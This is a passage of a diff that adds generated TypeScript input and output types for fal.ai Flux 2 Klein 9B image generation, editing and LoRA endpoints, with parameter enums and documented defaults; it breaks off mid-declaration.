landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2Klein9BImageSizeKey = + (typeof inputFalAiFlux2Klein9BImageSize)[keyof typeof inputFalAiFlux2Klein9BImageSize] + +export const inputFalAiFlux2Klein9BOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2Klein9BOutputFormatEnumKey = + (typeof inputFalAiFlux2Klein9BOutputFormatEnum)[keyof typeof inputFalAiFlux2Klein9BOutputFormatEnum] + +export type InputFalAiFlux2Klein9B = { + /** + * @description The prompt to generate an image from. + * @example A bright, surreal scene on a vast white salt flat under a clear blue sky, featuring two fluffy white alpacas standing in the foreground. Behind them sits a sleek white supercar with its scissor doors open, creating a dramatic futuristic silhouette. The sunlight is strong and crisp, casting sharp shadows on the ground and giving the image a clean, high-contrast cinematic look. Minimalist composition, playful luxury vibe, ultra sharp detail, wide-angle perspective, high resolution. + * @type string + */ + prompt: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 8 + * @default 4 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If `True`, the media will be returned as a data URI. Output is not stored when this is True. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The size of the image to generate. + * @default landscape_4_3 + */ + image_size?: ImageSize985B7944 | InputFalAiFlux2Klein9BImageSizeKey + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2Klein9BOutputFormatEnumKey +} + +export type ImageFile613A7Ce8 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2Klein9B = { + /** + * @description The generated images + * @example [{"url":"https://v3b.fal.media/files/b/0a8a6905/DuNRy1OODaGrlUGEfl9SX.png"}] + * @type array + */ + images: ImageFile613A7Ce8[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize5A206F4E = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2Klein9BBaseAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFlux2Klein9BBaseAccelerationEnumKey = + (typeof inputFalAiFlux2Klein9BBaseAccelerationEnum)[keyof typeof inputFalAiFlux2Klein9BBaseAccelerationEnum] + +export const inputFalAiFlux2Klein9BBaseImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2Klein9BBaseImageSizeKey = + (typeof inputFalAiFlux2Klein9BBaseImageSize)[keyof typeof inputFalAiFlux2Klein9BBaseImageSize] + +export const inputFalAiFlux2Klein9BBaseOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2Klein9BBaseOutputFormatEnumKey = + (typeof inputFalAiFlux2Klein9BBaseOutputFormatEnum)[keyof typeof inputFalAiFlux2Klein9BBaseOutputFormatEnum] + +export type InputFalAiFlux2Klein9BBase = { + /** + * @description The acceleration level to use for image generation. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiFlux2Klein9BBaseAccelerationEnumKey + /** + * @description The prompt to generate an image from. + * @example A cyberpunk samurai standing in neon-lit Tokyo street at night, rain-soaked pavement reflecting holographic advertisements in pink and blue, steam rising from street vents, wearing futuristic armor with glowing accents, cinematic composition, Unreal Engine 5 quality, ray-traced reflections, shallow depth of field, hyper-detailed + * @type string + */ + prompt: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the image to generate. + * @default landscape_4_3 + */ + image_size?: ImageSize5A206F4E | InputFalAiFlux2Klein9BBaseImageSizeKey + /** + * @description If `True`, the media will be returned as a data URI. Output is not stored when this is True. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Guidance scale for classifier-free guidance. + * @minimum 0 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2Klein9BBaseOutputFormatEnumKey + /** + * @description Negative prompt for classifier-free guidance. Describes what to avoid in the image. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number +} + +export type ImageFile9151Ca7A = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2Klein9BBase = { + /** + * @description The generated images + * @example [{"url":"https://v3b.fal.media/files/b/0a8a69bc/EaxKO6wroq3eaDb2Znfpo.png"}] + * @type array + */ + images: ImageFile9151Ca7A[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize63Ca5C9D = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2Klein9BBaseEditAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFlux2Klein9BBaseEditAccelerationEnumKey = + (typeof inputFalAiFlux2Klein9BBaseEditAccelerationEnum)[keyof typeof inputFalAiFlux2Klein9BBaseEditAccelerationEnum] + +export const inputFalAiFlux2Klein9BBaseEditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2Klein9BBaseEditImageSizeKey = + (typeof inputFalAiFlux2Klein9BBaseEditImageSize)[keyof typeof inputFalAiFlux2Klein9BBaseEditImageSize] + +export const inputFalAiFlux2Klein9BBaseEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2Klein9BBaseEditOutputFormatEnumKey = + (typeof inputFalAiFlux2Klein9BBaseEditOutputFormatEnum)[keyof typeof inputFalAiFlux2Klein9BBaseEditOutputFormatEnum] + +export type InputFalAiFlux2Klein9BBaseEdit = { + /** + * @description The acceleration level to use for image generation. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiFlux2Klein9BBaseEditAccelerationEnumKey + /** + * @description The prompt to edit the image. + * @example Imagine a young woman. Use the Style from the Reference Image. + * @type string + */ + prompt: string + /** + * @description The URLs of the images for editing. A maximum of 4 images are allowed. + * @example ["https://v3b.fal.media/files/b/0a8a69f0/DifnFRQjCHQ5nUxJl0tQK_d456be65-0a70-417c-991d-531be0b58993.png"] + * @type array + */ + image_urls: string[] + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the generated image. If not provided, uses the input image size. + * @example {"height":1152,"width":2016} + */ + image_size?: + | ImageSize63Ca5C9D + | InputFalAiFlux2Klein9BBaseEditImageSizeKey + | null + /** + * @description If `True`, the media will be returned as a data URI. Output is not stored when this is True. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Guidance scale for classifier-free guidance. + * @minimum 0 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2Klein9BBaseEditOutputFormatEnumKey + /** + * @description Negative prompt for classifier-free guidance. Describes what to avoid in the image. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number +} + +export type ImageFile7Bdd5E61 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2Klein9BBaseEdit = { + /** + * @description The edited images + * @example [{"url":"https://v3b.fal.media/files/b/0a8a69f1/HpSn20CQnEgVbFRD5E-Eh.png"}] + * @type array + */ + images: ImageFile7Bdd5E61[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize7065Fca6 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2Klein9BBaseEditLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFlux2Klein9BBaseEditLoraAccelerationEnumKey = + (typeof inputFalAiFlux2Klein9BBaseEditLoraAccelerationEnum)[keyof typeof inputFalAiFlux2Klein9BBaseEditLoraAccelerationEnum] + +export const inputFalAiFlux2Klein9BBaseEditLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2Klein9BBaseEditLoraImageSizeKey = + (typeof inputFalAiFlux2Klein9BBaseEditLoraImageSize)[keyof typeof inputFalAiFlux2Klein9BBaseEditLoraImageSize] + +export const inputFalAiFlux2Klein9BBaseEditLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2Klein9BBaseEditLoraOutputFormatEnumKey = + (typeof inputFalAiFlux2Klein9BBaseEditLoraOutputFormatEnum)[keyof typeof inputFalAiFlux2Klein9BBaseEditLoraOutputFormatEnum] + +export type InputFalAiFlux2Klein9BBaseEditLora = { + /** + * @description The acceleration level to use for image generation. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiFlux2Klein9BBaseEditLoraAccelerationEnumKey + /** + * @description The prompt to edit the image. + * @example Change his clothes to casual suit and tie + * @type string + */ + prompt: string + /** + * @description The URLs of the images for editing. A maximum of 4 images are allowed. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/flux2_dev_edit_input.png"] + * @type array + */ + image_urls: string[] + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the generated image. If not provided, uses the input image size. + * @example {"height":1152,"width":2016} + */ + image_size?: + | ImageSize7065Fca6 + | InputFalAiFlux2Klein9BBaseEditLoraImageSizeKey + | null + /** + * @description If `True`, the media will be returned as a data URI. Output is not stored when this is True. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description List of LoRA weights to apply (maximum 3). + * @default [] + * @type array | undefined + */ + loras?: FalAiFlux2KleinLoRAInput[] + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2Klein9BBaseEditLoraOutputFormatEnumKey + /** + * @description Guidance scale for classifier-free guidance. + * @minimum 0 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Negative prompt for classifier-free guidance. Describes what to avoid in the image. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number +} + +export type ImageFileF549Aa24 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2Klein9BBaseEditLora = { + /** + * @description The generated images + * @type array + */ + images: ImageFileF549Aa24[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize1C02Afb7 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2Klein9BBaseLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFlux2Klein9BBaseLoraAccelerationEnumKey = + (typeof inputFalAiFlux2Klein9BBaseLoraAccelerationEnum)[keyof typeof inputFalAiFlux2Klein9BBaseLoraAccelerationEnum] + +export const inputFalAiFlux2Klein9BBaseLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2Klein9BBaseLoraImageSizeKey = + (typeof inputFalAiFlux2Klein9BBaseLoraImageSize)[keyof typeof inputFalAiFlux2Klein9BBaseLoraImageSize] + +export const inputFalAiFlux2Klein9BBaseLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2Klein9BBaseLoraOutputFormatEnumKey = + (typeof inputFalAiFlux2Klein9BBaseLoraOutputFormatEnum)[keyof typeof inputFalAiFlux2Klein9BBaseLoraOutputFormatEnum] + +export type InputFalAiFlux2Klein9BBaseLora = { + /** + * @description The acceleration level to use for image generation. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiFlux2Klein9BBaseLoraAccelerationEnumKey + /** + * @description The prompt to generate an image from. + * @example A serene Japanese garden with cherry blossoms, koi pond, and traditional wooden bridge at golden hour + * @type string + */ + prompt: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the image to generate. + * @default landscape_4_3 + */ + image_size?: ImageSize1C02Afb7 | InputFalAiFlux2Klein9BBaseLoraImageSizeKey + /** + * @description If `True`, the media will be returned as a data URI. Output is not stored when this is True. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description List of LoRA weights to apply (maximum 3). + * @default [] + * @type array | undefined + */ + loras?: FalAiFlux2KleinLoRAInput[] + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2Klein9BBaseLoraOutputFormatEnumKey + /** + * @description Guidance scale for classifier-free guidance. + * @minimum 0 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Negative prompt for classifier-free guidance. Describes what to avoid in the image. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number +} + +export type ImageFile90719E75 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2Klein9BBaseLora = { + /** + * @description The generated images + * @type array + */ + images: ImageFile90719E75[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize10Fd737B = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2Klein9BEditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2Klein9BEditImageSizeKey = + (typeof inputFalAiFlux2Klein9BEditImageSize)[keyof typeof inputFalAiFlux2Klein9BEditImageSize] + +export const inputFalAiFlux2Klein9BEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2Klein9BEditOutputFormatEnumKey = + (typeof inputFalAiFlux2Klein9BEditOutputFormatEnum)[keyof typeof inputFalAiFlux2Klein9BEditOutputFormatEnum] + +export type InputFalAiFlux2Klein9BEdit = { + /** + * @description The prompt to edit the image. + * @example Turn this into a realistic image + * @type string + */ + prompt: string + /** + * @description The URLs of the images for editing. A maximum of 4 images are allowed. + * @example ["https://v3b.fal.media/files/b/0a8a69d5/kkXxFfj1QeVtw35kxy5Py_1a7e3511-bd2c-46be-923a-8e6be2496f12.png"] + * @type array + */ + image_urls: string[] + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 8 + * @default 4 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If `True`, the media will be returned as a data URI. Output is not stored when this is True. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The size of the generated image. If not provided, uses the input image size. + * @example {"height":1152,"width":2016} + */ + image_size?: ImageSize10Fd737B | InputFalAiFlux2Klein9BEditImageSizeKey | null + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2Klein9BEditOutputFormatEnumKey +} + +export type ImageFile9Ba433D7 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2Klein9BEdit = { + /** + * @description The generated images + * @type array + */ + images: ImageFile9Ba433D7[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize49Efb38C = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2Klein9BEditLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2Klein9BEditLoraOutputFormatEnumKey = + (typeof inputFalAiFlux2Klein9BEditLoraOutputFormatEnum)[keyof typeof inputFalAiFlux2Klein9BEditLoraOutputFormatEnum] + +export const inputFalAiFlux2Klein9BEditLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2Klein9BEditLoraImageSizeKey = + (typeof inputFalAiFlux2Klein9BEditLoraImageSize)[keyof typeof inputFalAiFlux2Klein9BEditLoraImageSize] + +export type InputFalAiFlux2Klein9BEditLora = { + /** + * @description The prompt to edit the image. + * @example Turn this into a realistic image + * @type string + */ + prompt: string + /** + * @description The URLs of the images for editing. A maximum of 4 images are allowed. + * @example ["https://v3b.fal.media/files/b/0a8a69d5/kkXxFfj1QeVtw35kxy5Py_1a7e3511-bd2c-46be-923a-8e6be2496f12.png"] + * @type array + */ + image_urls: string[] + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 8 + * @default 4 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If `True`, the media will be returned as a data URI. Output is not stored when this is True. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description List of LoRA weights to apply (maximum 3). + * @default [] + * @type array | undefined + */ + loras?: FalAiFlux2KleinLoRAInput[] + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2Klein9BEditLoraOutputFormatEnumKey + /** + * @description The size of the generated image. If not provided, uses the input image size. + * @example {"height":1152,"width":2016} + */ + image_size?: + | ImageSize49Efb38C + | InputFalAiFlux2Klein9BEditLoraImageSizeKey + | null +} + +export type ImageFile6Ef8Aec2 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2Klein9BEditLora = { + /** + * @description The generated images + * @type array + */ + images: ImageFile6Ef8Aec2[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize7D9925Cd = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2Klein9BLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2Klein9BLoraOutputFormatEnumKey = + (typeof inputFalAiFlux2Klein9BLoraOutputFormatEnum)[keyof typeof inputFalAiFlux2Klein9BLoraOutputFormatEnum] + +export const inputFalAiFlux2Klein9BLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2Klein9BLoraImageSizeKey = + (typeof inputFalAiFlux2Klein9BLoraImageSize)[keyof typeof inputFalAiFlux2Klein9BLoraImageSize] + +export type InputFalAiFlux2Klein9BLora = { + /** + * @description The prompt to generate an image from. + * @example A bright, surreal scene on a vast white salt flat under a clear blue sky, featuring two fluffy white alpacas standing in the foreground. Behind them sits a sleek white supercar with its scissor doors open, creating a dramatic futuristic silhouette. The sunlight is strong and crisp, casting sharp shadows on the ground and giving the image a clean, high-contrast cinematic look. Minimalist composition, playful luxury vibe, ultra sharp detail, wide-angle perspective, high resolution. + * @type string + */ + prompt: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 8 + * @default 4 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If `True`, the media will be returned as a data URI. Output is not stored when this is True. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description List of LoRA weights to apply (maximum 3). + * @default [] + * @type array | undefined + */ + loras?: FalAiFlux2KleinLoRAInput[] + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2Klein9BLoraOutputFormatEnumKey + /** + * @description The size of the image to generate. + * @default landscape_4_3 + */ + image_size?: ImageSize7D9925Cd | InputFalAiFlux2Klein9BLoraImageSizeKey +} + +export type ImageFileD9F8E01B = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2Klein9BLora = { + /** + * @description The generated images + * @example [{"url":"https://v3b.fal.media/files/b/0a8a6905/DuNRy1OODaGrlUGEfl9SX.png"}] + * @type array + */ + images: ImageFileD9F8E01B[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export const inputFalAiFlux2KleinRealtimeImageSizeEnum = { + square: 'square', + square_hd: 'square_hd', +} as const + +export type 